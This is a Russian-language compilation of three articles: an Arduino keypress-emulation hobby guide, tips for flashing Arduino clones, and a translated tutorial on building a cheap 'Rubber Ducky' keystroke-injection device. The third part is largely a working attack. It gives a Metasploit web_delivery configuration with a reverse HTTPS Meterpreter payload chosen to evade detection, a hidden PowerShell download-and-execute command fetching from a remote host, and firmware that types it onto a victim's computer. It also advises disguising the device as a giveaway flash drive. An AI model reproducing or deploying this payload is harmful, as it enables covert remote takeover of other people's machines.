Для одного проекта необходимо было сделать управление компьютером при помощи ардуинки. Почитав информацию в интернете нашел, что такое возможно только при помощи Ардуинок с atmega 32u4 или Due. Мне такой вариант не подошел, так как у меня уже была готовая разведенная плата с atmega328, поэтому пришлось искать другой вариант, которым я и хочу с вами поделиться.
Берем любую ардуинку, например Uno и подключаем к ней кнопку (в моем случае один контакт к pin 2, другой к GND
Заливаем прошивку
bool buttonClicked = false;
void setup() {
Serial.begin(9600);
pinMode(2, INPUT_PULLUP);
}
void loop() {
if ((digitalRead(2) == LOW) && (buttonClicked == false)) {
Serial.println(«KEY_UP»);
buttonClicked = true;
}
if (digitalRead(2) == HIGH) buttonClicked = false;
delay(10);
}
Теперь перейдем к компьютеру.
Качаем и устанавливаем AutoIt https://www.autoitscript.com/site/autoit/
И библиотеку для работы с COM портом http://www.mosaiccgl.co.uk/AutoItDownloads/confirm.php?get=C…
Создаем примитивное фоновое приложение
#include
$err = 1
_CommSetPort(5, $err)
_CommPortConnection()
While 1
$key = _CommGetLine()
$key = StringReplace($key, @LF, «»)
$key = StringReplace($key, @CR, «»)
if ($key = «KEY_UP») then Send(«{UP}»)
WEnd
В строке _CommSetPort(5, $err) 5 — заменить на номер соответствующего COM порта, на котором висит ардуинка
Теперь по нажатию кнопки подключенной к Arduino у нас на компьютере будет эмулироваться нажатие кнопки ВВЕРХ в любом окне, даже в играх.
Таким образом эмулировать можно нажатие любой кнопки, комбинации кнопок, движение мышки и все, что вам будет угодно.
107feonor12Темы / СоветыДобавлено 9 комментариев Первым делом хочу сказать, что это не гайд по решению всех на свете проблем с ардуино, а лишь тех, с которыми пришлось столкнуться мне. Тем не менее сталкиваясь с этими проблемами я потратил немало времени на поиски информации по их решению, так что думаю, статья будет полезна. Так же я не буду рассматривать проблемы, связанные с компиляцией. Ошибки компиляции — это ошибки программирования, это уже частные случаи и рассматривают их так же в частном порядке на всевозможных форумах.Способ 1. Стандартная прошивкаНесмотря на всю простоту ардуино в плане программирования, даже на этом этапе могут возникнуть проблемы. Возникают они, как правило, при использовании китайских клонов. Но будем планомерными. Для программирования ардуино так, как это замышлялось разработчиками, необходимо скачать и установить с оффсайта среду разработки Arduino IDE и провести установку в соответствии с указаниями. Об этом есть сотни, если не тысячи, статей даже в русскоязычном сегменте интернета, по этому останавливаться на этом не буду. При использовании оригинальных ардуино проблем возникнуть не должно. Но у нас, как правило, все используют куда более дешевые китайские клоны. Они, в общем то, ничем не отличаются от оригинала, по крайней мере в плане производительности. Лично мне китайская компоновка Arduino Pro Mini с контактами А4 и А5 в ряду с остальными, нравиться куда больше, чем компоновка оригинальной платы. Но в ту же очередь китайцы, несмотря на коммунистический строй, по сути самые настоящие капиталисты, и экономят для экспорта на всем, на чем только можно. Под эту экономию подпадают и чипы USB интерфейса тех самых ардуино. Тут и начинаются проблемы. Дело в том, что в китайских клонах используется не оригинальный чип CH340. И так, будем считать, что Вы выполнили все стандартные процедуры установки ПО и драйверов, но ардуино так и не шьется. Первым делом идем в ПУСК>Панель управления>Диспетчер устройств. Тут обращаем внимание на два пункта: Контроллеры USB и COM LPT порты.Если пункта Порты (COM и LPT) нет вообще, это первая подсказка в решении проблемы. Если все хорошо, то в ком портах должен появляться новый порт при подключении ардуино. Если этого не происходит, то смотрим что творится в «Контроллеры USB». При подключении ардуино должно появляться новое устройство с надписью USB 2.0 Serial. Это, на самом деле, хороший знак. Если комп видит, что к нему подключились, но не может понять кто — значит ардуинка у нас живая, а проблема в дровах. Если же этого не происходит — читаем способ 2 и способ 3. Для решения же этой проблемы необходимо установить новый драйвер вручную. Скачиваем драйвер, папку с ним кладем в удобное место. Идем снова в Диспетчер устройств, далее USB 2.0 Serial>ПКМ>Свойства>Драйвер>Обновить>Выполнить поиск драйверов на этом компьютере и выбираем папку с драйвером. После этого система может начать ругаться, что драйвер не из проверенных источников. Жмем все равно установить.
avrdude.exe: error: could not find USB device "USBasp" with vid=0x16c0 pid=0x5dc
Над решением беды бился долго, и нашел лишь на забугорных форумах. И так:1)По следующей ссылке скачиваем архив LibUSB-64bit.zip 2)Подключаем программатор к USB порту.3)Распаковываем архив и переходим по пути куда распаковалиLibUSB-64bitlibusb-win32-bin-1.2.1.0binx864) Запускаем inf-wizard.exe5)Жмем Next6)Выбираем USBasp и жмем Next7)Следующие поля заполняем таким образом:Жмем Next8 )Сохраняем сгенерированный файл по пути:LibUSB-64bitlibusb-win32-bin-1.2.1.0binamd64 — если у вас 64-х разрядная система илиLibUSB-64bitlibusb-win32-bin-1.2.1.0binx86 — если 32-х разрядная 9)Жмем install now10) Система уведомит, что драйвер не из проверенных источников. Жмем «Все равно установить» 11)Начнется установка драйвера. В процессе установки услышим звук отключения и подключения USB устройства. По окончанию установки жмем ОК.Ещё несколько советовОчень распространенные модули NRF24L01 имеют большой косяк. Для нормальной и стабильной работы этих модулей необходимо по питанию повесить конденсатор хотя бы на 10 мкФ 5 В. Меньше не желательно, больше — бесполезно. Но если нет на 10, конечно, ставьте на 22 или 47. Так же советуют параллельно нему повесить еще один керамический на 10-100 нФ. При чем как можно ближе к самому модулю, в идеале — на выводы. В противном случае модуль вроде и видится, но нормально не передает.Если на выводах RX и TX висит какое-то исполняющее устройство — ардуинка не прошьется. Сначала прошивайте, потом подключайте на эти выводы необходимое устройство.На этом все, Надеюсь информация будет кому-то полезна.Всем удачи в творчестве! Автор оригинала: Adam Eaton
- Перевод
Начнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение. Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это устройство, которое сделал Hak5, на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток — вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью. Мы используем 5V Adafruit Trinket и кабель microUSB — вот и всё, что нам понадобится. К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем
#include
. Вам понадобится установить библиотеку, следуя этой инструкции.#include
Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().
#include void setup() { TrinketKeyboard.begin(); } void loop() { TrinketKeyboard.print("Help, I am trapped in a computer! n"); delay(500); }
Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.
#include void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("ipconfig"); delay(100); pressEnter(); }
Отлично. Создадим эксплоит во фреймворке Metasploit. Будем использовать модуль web_delivery. Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы. Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.use exploit/multi/script/web_delivery
Нужно сказать нашей программе, откуда брать бинарники:set LHOST 1.2.3.4
Дальше указываем порт, который не вызовет подозрений, что насчёт 443? 😉set LPORT 443
Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.set URIPATH /
Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.set TARGET 2
Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.set PAYLOAD windows/meterpreter/reverse_https
И наконец exploit
. Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.use exploit/multi/script/web_delivery set LHOST 1.2.3.4 set LPORT 443 set URIPATH / set TARGET 2 set PAYLOAD windows/meterpreter/reverse_https exploit
Получаем полезную нагрузку для запуска на компьютере жертвы:powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');
Теперь можем запустить это с флэшки.
#include void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');"); delay(100); pressEnter(); } void loop() { // nothing happens after setup }
Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы. Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам — всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений. Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал эти классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд — это немалое время, особенно когда прячешься от драконов.
Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.
Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.
#include "Keyboard.h" void winRun() { Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); delay(30); Keyboard.releaseAll(); delay(100); } void setup() { Keyboard.begin(); delay(2000); winRun(); Keyboard.println("cmd"); Keyboard.write(KEY_RETURN); delay(500); Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $C.downloadstring('http://1.2.3.4:8080/');"); Keyboard.write(KEY_RETURN); } void loop() { // put your main code here, to run repeatedly: }
Самое большое преимущество Pro Micro — это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.Используемые источники:
- https://pikabu.ru/story/upravlenie_kompyuterom_pri_pomoshchi_arduino_cherez_usb_4676892
- https://usamodelkina.ru/14782-neskolko-sposobov-proshivki-arduino-i-reshenie-problem-svjazannyh-s-jetim.html
- https://habr.com/post/407337/